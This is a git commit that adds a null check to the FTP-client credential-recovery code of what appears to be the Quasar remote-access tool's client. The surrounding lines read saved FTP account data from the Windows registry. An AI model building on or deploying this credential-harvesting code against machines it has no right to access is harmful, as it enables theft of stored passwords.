add error checking

This commit is contained in:
quasarfan44345tz 2023-07-29 10:55:45 +02:00
parent bcca6010de
commit e8356748c5
1 changed files with 4 additions and 0 deletions

View File

@ -23,6 +23,10 @@ namespace Quasar.Client.Recovery.FtpClients
using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath))
{
if (key == null)
{
return data;
}
foreach (String subkeyName in key.GetSubKeyNames())
{
using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName))